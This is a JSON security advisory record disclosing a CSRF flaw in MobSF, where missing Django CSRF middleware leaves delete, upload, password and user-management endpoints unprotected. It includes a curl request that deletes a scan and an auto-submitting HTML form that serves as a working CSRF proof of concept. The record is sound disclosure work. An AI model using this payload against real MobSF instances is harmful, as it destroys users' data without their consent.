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4.2 KiB
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{"schema_version":"1.9.0","id":"GHSA-3p54-567p-2wpr","published":"2026-08-18T18:01:13Z","modified":"2026-08-19T12:55:33.965056030Z","aliases":["CVE-2026-68923","PYSEC-2026-3688"],"summary":"MobSF's CSRF checks not enforced after Django migration","details":"### Summary\n\nDjango's `CsrfViewMiddleware` exists only in the deprecated `MIDDLEWARE_CLASSES` (ignored since Django 2.0). The active `MIDDLEWARE` tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.\n\n### Verified Impact\n\nThis was verified by **actually deleting a real scan** from the running server using only a session cookie — no CSRF token was required:\n\n```\n$ curl -s -b cookies.txt -X POST \"http://127.0.0.1:8000/delete_scan/\" \\\n -d \"md5=68e76627798d62555d5287f4488a32c7&scan_type=apk\"\n{\"deleted\": \"yes\"}\n```\n\nThe scan was removed from the database. This attack works from any website via HTML form auto-submission because:\n- **No CSRF token is validated** (middleware absent)\n- **Cookie `SameSite=Lax`** allows form-based top-level navigation to send the session cookie\n\n### Affected Component\n\n```\nFile: mobsf/MobSF/settings.py (Lines 206-212)\n\nMIDDLEWARE = (\n 'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n # MISSING: 'django.middleware.csrf.CsrfViewMiddleware'\n)\n```\n\n### Steps to Reproduce\n\n**1.** Start MobSF v4.4.6 and log in at `http://127.0.0.1:8000/login/` (creds: `mobsf/mobsf`).\n\n**2.** Upload and scan any APK to create a scan entry. Note the MD5 hash from \"Recent Scans\".\n\n**3.** Open the following HTML file in the **same browser** (simulates visiting attacker's page):\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Innocent Page</title></head>\n<body>\n<h1>Loading...</h1>\n<form id=\"f\" method=\"POST\" action=\"http://127.0.0.1:8000/delete_scan/\">\n <input type=\"hidden\" name=\"md5\" value=\"PUT_REAL_MD5_HASH_HERE\" />\n <input type=\"hidden\" name=\"scan_type\" value=\"apk\" />\n</form>\n<script>document.getElementById('f').submit();</script>\n</body>\n</html>\n```\n\n**4.** The scan is deleted. Navigate back to MobSF \"Recent Scans\" to confirm it's gone.\n\n### Why This Is Not a Self-Bug\n\n- The attack requires a **victim user** who is logged in to visit an attacker-controlled page\n- The attacker crafts the form targeting the victim's MobSF instance\n- All destructive POST endpoints are affected: `/delete_scan/`, `/upload/`, `/download_scan/`, `/change_password/`, `/create_user/`, `/delete_user/`\n- This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)\n\n### Remediation\n\nAdd `'django.middleware.csrf.CsrfViewMiddleware'` to the active `MIDDLEWARE` tuple.","affected":[{"package":{"name":"mobsf","ecosystem":"PyPI","purl":"pkg:pypi/mobsf"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.1"}]}],"versions":["3.2.6","3.2.7","3.2.8","3.2.9","3.3.3","3.3.5","3.4.0","3.4.3","3.4.6","3.5.0","3.6.0","3.6.9","3.7.6","3.9.7","4.1.3","4.3.0","4.3.2","4.4.0","4.4.2","4.4.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-3p54-567p-2wpr/GHSA-3p54-567p-2wpr.json"}}],"references":[{"type":"WEB","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-3p54-567p-2wpr"},{"type":"WEB","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627"},{"type":"WEB","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/62563ca429a75b3e5d47a13b958e1d2e7d5e2bbf"},{"type":"PACKAGE","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF"},{"type":"WEB","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1"}],"database_specific":{"cwe_ids":["CWE-352"],"github_reviewed":true,"github_reviewed_at":"2026-08-18T18:01:13Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"}]} |